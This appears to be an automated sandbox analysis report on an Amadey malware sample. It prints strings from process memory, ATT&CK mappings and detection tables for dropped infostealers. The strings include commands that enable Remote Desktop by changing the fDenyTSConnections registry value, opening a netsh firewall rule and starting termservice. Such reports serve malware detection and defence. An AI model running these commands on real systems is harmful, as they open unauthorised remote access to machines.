1Dw=PBu=PRu=PRy=PRC=JUvk6a==1FHV7xtkAt==1FHV7BRVAv8=PV8gPEnnO0Rf3FCs2VDk5kbrB1vW5Q0PFEC+FEG+BZrn8Qie1kMyAwimyu==6y==zlLp5RVYFO==308g6ABoBf5ndDt=10Lt6g0hBwIx1DuhH0LVNgKP0UZoW0ioiELuXY2gcy==KFzqTXO71RRkfDC2GTPwOVV6JZ9pfEa7hkK=GVPk7gJ=I0vu7A0n2Zt8KBu73e==HTDAPu==KEvpTAJ6JZVmfUGeiFa=HEZe8AdnxCdo0d==GTPCCxOrPAdPNTxW1TKQhkb1jS==GkbVTA0bOT5n1UF=JkZt8AdjK0Zr5AdoG0Zo6WWkL0bpLA0bOT5n1UF=CButGtVQCgc7QN==3ky=40y=G0Zp8A0j3z1XgUyaTgruiYuUbZvcfoKoPkZt6M6 NURkQvy8g1Lv4ICsfVUoOTUmBQQoFM5itOfy6W POT53NROeh1rwh4iUbY3pRjvf21zoFQW73DE KD27gUK NoObeIydRzvf1Ung6gKiOQ0lyeQFKWdj3DVxfzYJjVrmTkybdJvndXHa4Ebq6cdkN0RofzYoiFzm3YXHDiUFtOeoFM5iAP0=BQQIwa==F1De7d5mBkfrTq==G0Zp8A0j3z1XgUyaTgrihJymbYHcgHfo2gZZFRiS3v1pd0GiQVLzgISoZ43f2XK=KZbOPy0CMBN4ekGaglHEg42Udo3nX3PTNCDq6hWn1ZxfSZ6ihFL14ZGIZYVg0FHo2VrW8A0nIjFw1N==G0Zo7B0POUJR0TYaOUzeTA0bOZhscjqhgUVwhJCsd5LWgo8X5VerGNNoCAU5PwdUQTY=BVLp5QSkODUwKZbOPy0CMBN4ekGaglHEg42Udo3nX3PTNCDq6hWn1ZxfXT2eiELl0oie0Y38T13HLDzKNzCLHRRIVYt=KZbOPy0CMBNydkOng0nU4ZNqNFz8X3Pr4kbeTRS2FjFCcTKtfVDxgICZYHTk2HPoLkbfTQdyGx==NBqrGxF=HELhSR0h3CNofEOegk4AQneM0ZHqeIPT1UZpHELhSR0h3CNofEOegk4AQniM0ZHqeIPT1UZpKYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41CbNfW2F0VBejSjiDPmhpKjc4Y=KFzqTB093B5kdTR=ChqsIK==ChqtGa==ChqsHa==ChqtHK==G1Lt7g0j3BJ4cTu Ny==Ehe13lLpTAChBwIx1UeaB0ibylHc7Wyg0TxvKz6bNAZqgUxcygqhDcGP0T1od0SPNBuhOkVa0IPnLB==zgObLRme3zI=ygqhDcGnOT4jyAOhCu==KEZYTROo0DVvdz2ajEK=BULZTQSQ3DlydkykgEbkjUys0YVqgHPs1U4pTQV6ARZsdDR6Ne==ye==308W8AWk3Z4jNUJ6QVGhRC==31G47q==3kvpTAdiI0L0Sgd72jQjVDCUg1L12Hys0Yrq1XK=CBqrGxFPBQk=CBqrGxFPBgI=CBqrGxFPBgM=CBqrGxFPBZY=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: defnur.exe, 0000001C.00000000.3096443073.0000000000E31000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: net start termservice
Source: defnur.exe, 0000001C.00000000.3096443073.0000000000E31000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set191655f008adc880f91bfc85bc56db54c1ec479e5342a25940592acf24703eb24bee0740149a3e95dd6efb1faf26970e5e6f97CR7WFdNmCP4AOQJjRhq6BYPt8NiD0wkycT2 4V7vhIeqDQUrHu==KwQg6BZizQRn8K==BQLn8K==PkC0TNG7NTFlPt==PELh6h0nAjV71N==KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427VpPpW3ZcPO==KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427SZbreH3rPVz8PRSa2fBWcDShgArHg4ue0ZDuK1Hc7hWQ2x==KkLoO0RfCwdsxCJQTBiHNAZAQ5BaKYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427VpPp3lLpTAChBwIjKFzqTXO71UM=KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427SZbreH3rPVz8OWma1DwjTj6h4ELzhy==zTLOLPOFJh9JURuuOO==NCvr7u==KCZOPu==HYLP1UG14lC130G121C1Oka1OVy13EC14UU1PEQ1OVO12FO120313hQ=O1zgTw 1Dxa0ZuehAVlgIu2O1zgTw 1Dw=O0nk7w 1Dw=PBu=PRu=PRy=PRC=JUvk6a==1FHV7xtkAt==1FHV7BRVAv8=PV8gPEnnO0Rf3FCs2VDk5kbrB1vW5Q0PFEC+FEG+BZrn8Qie1kMyAwimyu==6y==zlLp5RVYFO==308g6ABoBf5ndDt=10Lt6g0hBwIx1DuhH0LVNgKP0UZoW0ioiELuXY2gcy==KFzqTXO71RRkfDC2GTPwOVV6JZ9pfEa7hkK=GVPk7gJ=I0vu7A0n2Zt8KBu73e==HTDAPu==KEvpTAJ6JZVmfUGeiFa=HEZe8AdnxCdo0d==GTPCCxOrPAdPNTxW1TKQhkb1jS==GkbVTA0bOT5n1UF=JkZt8AdjK0Zr5AdoG0Zo6WWkL0bpLA0bOT5n1UF=CButGtVQCgc7QN==3ky=40y=G0Zp8A0j3z1XgUyaTgruiYuUbZvcfoKoPkZt6M6 NURkQvy8g1Lv4ICsfVUoOTUmBQQoFM5itOfy6W POT53NROeh1rwh4iUbY3pRjvf21zoFQW73DE KD27gUK NoObeIydRzvf1Ung6gKiOQ0lyeQFKWdj3DVxfzYJjVrmTkybdJvndXHa4Ebq6cdkN0RofzYoiFzm3YXHDiUFtOeoFM5iAP0=BQQIwa==F1De7d5mBkfrTq==G0Zp8A0j3z1XgUyaTgrihJymbYHcgHfo2gZZFRiS3v1pd0GiQVLzgISoZ43f2XK=KZbOPy0CMBN4ekGaglHEg42Udo3nX3PTNCDq6hWn1ZxfSZ6ihFL14ZGIZYVg0FHo2VrW8A0nIjFw1N==G0Zo7B0POUJR0TYaOUzeTA0bOZhscjqhgUVwhJCsd5LWgo8X5VerGNNoCAU5PwdUQTY=BVLp5QSkODUwKZbOPy0CMBN4ekGaglHEg42Udo3nX3PTNCDq6hWn1ZxfXT2eiELl0oie0Y38T13HLDzKNzCLHRRIVYt=KZbOPy0CMBNydkOng0nU4ZNqNFz8X3Pr4kbeTRS2FjFCcTKtfVDxgICZYHTk2HPoLkbfTQdyGx==NBqrGxF=HELhSR0h3CNofEOegk4AQneM0ZHqeIPT1UZpHELhSR0h3CNofEOegk4AQniM0ZHqeIPT1UZpKYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41CbNfW2F0VBejSjiDPmhpKjc4Y=KFzqTB093B5kdTR=ChqsIK==ChqtGa==ChqsHa==ChqtHK==G1Lt7g0j3BJ4cTu Ny==Ehe13lLpTAChBwIx1UeaB0ibylHc7Wyg0TxvKz6bNAZqgUxcygqhDcGP0T1od0SPNBuhOkVa0IPnLB==zgObLRme3zI=ygqhDcGnOT4jyAOhCu==KEZYTROo0DVvdz2ajEK=BULZTQSQ3DlydkykgEbkjUys0YVqgHPs1U4pTQV6ARZsdDR6Ne==ye==308W8AWk3Z4jNUJ6QVGhRC==31G47q==3kvpTAdiI0L0Sgd72jQjVDCUg1L12Hys0Yrq1XK=CBqrGxFPBQk=CBqrGxFPBgI=CBqrGxFPBgM=CBqrGxFPBZY=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: defnur.exe, 0000001D.00000000.3101944177.0000000000E31000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: net start termservice
Source: defnur.exe, 0000001D.00000000.3101944177.0000000000E31000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set191655f008adc880f91bfc85bc56db54c1ec479e5342a25940592acf24703eb24bee0740149a3e95dd6efb1faf26970e5e6f97CR7WFdNmCP4AOQJjRhq6BYPt8NiD0wkycT2 4V7vhIeqDQUrHu==KwQg6BZizQRn8K==BQLn8K==PkC0TNG7NTFlPt==PELh6h0nAjV71N==KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427VpPpW3ZcPO==KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427SZbreH3rPVz8PRSa2fBWcDShgArHg4ue0ZDuK1Hc7hWQ2x==KkLoO0RfCwdsxCJQTBiHNAZAQ5BaKYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427VpPp3lLpTAChBwIjKFzqTXO71UM=KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427SZbreH3rPVz8OWma1DwjTj6h4ELzhy==zTLOLPOFJh9JURuuOO==NCvr7u==KCZOPu==HYLP1UG14lC130G121C1Oka1OVy13EC14UU1PEQ1OVO12FO120313hQ=O1zgTw 1Dxa0ZuehAVlgIu2O1zgTw 1Dw=O0nk7w 1Dw=PBu=PRu=PRy=PRC=JUvk6a==1FHV7xtkAt==1FHV7BRVAv8=PV8gPEnnO0Rf3FCs2VDk5kbrB1vW5Q0PFEC+FEG+BZrn8Qie1kMyAwimyu==6y==zlLp5RVYFO==308g6ABoBf5ndDt=10Lt6g0hBwIx1DuhH0LVNgKP0UZoW0ioiELuXY2gcy==KFzqTXO71RRkfDC2GTPwOVV6JZ9pfEa7hkK=GVPk7gJ=I0vu7A0n2Zt8KBu73e==HTDAPu==KEvpTAJ6JZVmfUGeiFa=HEZe8AdnxCdo0d==GTPCCxOrPAdPNTxW1TKQhkb1jS==GkbVTA0bOT5n1UF=JkZt8AdjK0Zr5AdoG0Zo6WWkL0bpLA0bOT5n1UF=CButGtVQCgc7QN==3ky=40y=G0Zp8A0j3z1XgUyaTgruiYuUbZvcfoKoPkZt6M6 NURkQvy8g1Lv4ICsfVUoOTUmBQQoFM5itOfy6W POT53NROeh1rwh4iUbY3pRjvf21zoFQW73DE KD27gUK NoObeIydRzvf1Ung6gKiOQ0lyeQFKWdj3DVxfzYJjVrmTkybdJvndXHa4Ebq6cdkN0RofzYoiFzm3YXHDiUFtOeoFM5iAP0=BQQIwa==F1De7d5mBkfrTq==G0Zp8A0j3z1XgUyaTgrihJymbYHcgHfo2gZZFRiS3v1pd0GiQVLzgISoZ43f2XK=KZbOPy0CMBN4ekGaglHEg42Udo3nX3PTNCDq6hWn1ZxfSZ6ihFL14ZGIZYVg0FHo2VrW8A0nIjFw1N==G0Zo7B0POUJR0TYaOUzeTA0bOZhscjqhgUVwhJCsd5LWgo8X5VerGNNoCAU5PwdUQTY=BVLp5QSkODUwKZbOPy0CMBN4ekGaglHEg42Udo3nX3PTNCDq6hWn1ZxfXT2eiELl0oie0Y38T13HLDzKNzCLHRRIVYt=KZbOPy0CMBNydkOng0nU4ZNqNFz8X3Pr4kbeTRS2FjFCcTKtfVDxgICZYHTk2HPoLkbfTQdyGx==NBqrGxF=HELhSR0h3CNofEOegk4AQneM0ZHqeIPT1UZpHELhSR0h3CNofEOegk4AQniM0ZHqeIPT1UZpKYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41CbNfW2F0VBejSjiDPmhpKjc4Y=KFzqTB093B5kdTR=ChqsIK==ChqtGa==ChqsHa==ChqtHK==G1Lt7g0j3BJ4cTu Ny==Ehe13lLpTAChBwIx1UeaB0ibylHc7Wyg0TxvKz6bNAZqgUxcygqhDcGP0T1od0SPNBuhOkVa0IPnLB==zgObLRme3zI=ygqhDcGnOT4jyAOhCu==KEZYTROo0DVvdz2ajEK=BULZTQSQ3DlydkykgEbkjUys0YVqgHPs1U4pTQV6ARZsdDR6Ne==ye==308W8AWk3Z4jNUJ6QVGhRC==31G47q==3kvpTAdiI0L0Sgd72jQjVDCUg1L12Hys0Yrq1XK=CBqrGxFPBQk=CBqrGxFPBgI=CBqrGxFPBgM=CBqrGxFPBZY=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: defnur.exe, 0000001D.00000002.4704503053.0000000000E31000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: net start termservice
Source: defnur.exe, 0000001D.00000002.4704503053.0000000000E31000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set191655f008adc880f91bfc85bc56db54c1ec479e5342a25940592acf24703eb24bee0740149a3e95dd6efb1faf26970e5e6f97CR7WFdNmCP4AOQJjRhq6BYPt8NiD0wkycT2 4V7vhIeqDQUrHu==KwQg6BZizQRn8K==BQLn8K==PkC0TNG7NTFlPt==PELh6h0nAjV71N==KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427VpPpW3ZcPO==KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427SZbreH3rPVz8PRSa2fBWcDShgArHg4ue0ZDuK1Hc7hWQ2x==KkLoO0RfCwdsxCJQTBiHNAZAQ5BaKYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427VpPp3lLpTAChBwIjKFzqTXO71UM=KYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41D8KX0n2jVxfCWahlDqg427SZbreH3rPVz8OWma1DwjTj6h4ELzhy==zTLOLPOFJh9JURuuOO==NCvr7u==KCZOPu==HYLP1UG14lC130G121C1Oka1OVy13EC14UU1PEQ1OVO12FO120313hQ=O1zgTw 1Dxa0ZuehAVlgIu2O1zgTw 1Dw=O0nk7w 1Dw=PBu=PRu=PRy=PRC=JUvk6a==1FHV7xtkAt==1FHV7BRVAv8=PV8gPEnnO0Rf3FCs2VDk5kbrB1vW5Q0PFEC+FEG+BZrn8Qie1kMyAwimyu==6y==zlLp5RVYFO==308g6ABoBf5ndDt=10Lt6g0hBwIx1DuhH0LVNgKP0UZoW0ioiELuXY2gcy==KFzqTXO71RRkfDC2GTPwOVV6JZ9pfEa7hkK=GVPk7gJ=I0vu7A0n2Zt8KBu73e==HTDAPu==KEvpTAJ6JZVmfUGeiFa=HEZe8AdnxCdo0d==GTPCCxOrPAdPNTxW1TKQhkb1jS==GkbVTA0bOT5n1UF=JkZt8AdjK0Zr5AdoG0Zo6WWkL0bpLA0bOT5n1UF=CButGtVQCgc7QN==3ky=40y=G0Zp8A0j3z1XgUyaTgruiYuUbZvcfoKoPkZt6M6 NURkQvy8g1Lv4ICsfVUoOTUmBQQoFM5itOfy6W POT53NROeh1rwh4iUbY3pRjvf21zoFQW73DE KD27gUK NoObeIydRzvf1Ung6gKiOQ0lyeQFKWdj3DVxfzYJjVrmTkybdJvndXHa4Ebq6cdkN0RofzYoiFzm3YXHDiUFtOeoFM5iAP0=BQQIwa==F1De7d5mBkfrTq==G0Zp8A0j3z1XgUyaTgrihJymbYHcgHfo2gZZFRiS3v1pd0GiQVLzgISoZ43f2XK=KZbOPy0CMBN4ekGaglHEg42Udo3nX3PTNCDq6hWn1ZxfSZ6ihFL14ZGIZYVg0FHo2VrW8A0nIjFw1N==G0Zo7B0POUJR0TYaOUzeTA0bOZhscjqhgUVwhJCsd5LWgo8X5VerGNNoCAU5PwdUQTY=BVLp5QSkODUwKZbOPy0CMBN4ekGaglHEg42Udo3nX3PTNCDq6hWn1ZxfXT2eiELl0oie0Y38T13HLDzKNzCLHRRIVYt=KZbOPy0CMBNydkOng0nU4ZNqNFz8X3Pr4kbeTRS2FjFCcTKtfVDxgICZYHTk2HPoLkbfTQdyGx==NBqrGxF=HELhSR0h3CNofEOegk4AQneM0ZHqeIPT1UZpHELhSR0h3CNofEOegk4AQniM0ZHqeIPT1UZpKYZBPziqJhVfVTi9hkZAg4WUYH8kenLo41CbNfW2F0VBejSjiDPmhpKjc4Y=KFzqTB093B5kdTR=ChqsIK==ChqtGa==ChqsHa==ChqtHK==G1Lt7g0j3BJ4cTu Ny==Ehe13lLpTAChBwIx1UeaB0ibylHc7Wyg0TxvKz6bNAZqgUxcygqhDcGP0T1od0SPNBuhOkVa0IPnLB==zgObLRme3zI=ygqhDcGnOT4jyAOhCu==KEZYTROo0DVvdz2ajEK=BULZTQSQ3DlydkykgEbkjUys0YVqgHPs1U4pTQV6ARZsdDR6Ne==ye==308W8AWk3Z4jNUJ6QVGhRC==31G47q==3kvpTAdiI0L0Sgd72jQjVDCUg1L12Hys0Yrq1XK=CBqrGxFPBQk=CBqrGxFPBgI=CBqrGxFPBgM=CBqrGxFPBZY=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice

Yara detected Generic Python Stealer

Source: Yara match	File source: 00000023.00000002.3744137456.00007FF68C28F000.00000002.00000001.01000000.00000016.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000000.3487646263.00007FF68C28F000.00000002.00000001.01000000.00000016.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: roblox.exe PID: 6540, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 19_2_006BEB78 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,	19_2_006BEB78
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 19_2_006BDE81 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,	19_2_006BDE81
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C710C40 sqlite3_bind_zeroblob,	20_2_6C710C40
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C710D60 sqlite3_bind_parameter_name,	20_2_6C710D60
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C638EA0 sqlite3_clear_bindings,	20_2_6C638EA0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C710B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	20_2_6C710B40
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C636410 bind,WSAGetLastError,	20_2_6C636410

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	31 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	1 Remote Desktop Protocol	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	21 Native API	1 Scheduled Task/Job	212 Process Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	51 Data from Local System	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	23 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	21 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	Login Hook	12 Software Packing	NTDS	468 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	1191 Security Software Discovery	SSH	Keylogging	124 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	561 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	14 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	561 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	212 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
random.exe.6.exe	56%	Virustotal		Browse
random.exe.6.exe	55%	ReversingLabs	Win32.Trojan.Amadey
random.exe.6.exe	100%	Avira	TR/Crypt.TPM.Gen
random.exe.6.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	100%	Avira	TR/AD.Stealc.cucnc
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	100%	Avira	HEUR/AGEN.1314118
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\stealc_default2[1].exe	100%	Avira	TR/AD.Stealc.cucnc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\v_dolg[1].exe	100%	Avira	HEUR/AGEN.1314118
C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\AllNew[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\am209[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\roblox[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\stealc_default2[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\v_dolg[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\AllNew[1].exe	82%	ReversingLabs	Win32.Trojan.Whispergate
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\roblox[1].exe	63%	ReversingLabs	Win32.Phishing.MonsterStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\sintv[1].exe	58%	ReversingLabs	Win64.Infostealer.CoinStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\stealc_default2[1].exe	87%	ReversingLabs	Win32.Trojan.StealC
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\v_dolg[1].exe	82%	ReversingLabs	Win32.Trojan.Casdet
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\legs[1].exe	55%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\am209[1].exe	79%	ReversingLabs	Win32.Trojan.Whispergate
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\goldddd123[1].exe	50%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe	63%	ReversingLabs	Win32.Phishing.MonsterStealer
C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	87%	ReversingLabs	Win32.Trojan.StealC
C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	55%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	82%	ReversingLabs	Win32.Trojan.Whispergate
C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	79%	ReversingLabs	Win32.Trojan.Whispergate
C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	82%	ReversingLabs	Win32.Trojan.Casdet
C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	63%	ReversingLabs	Win32.Phishing.MonsterStealer
C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	50%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1006591001\sintv.exe	58%	ReversingLabs	Win64.Infostealer.CoinStealer
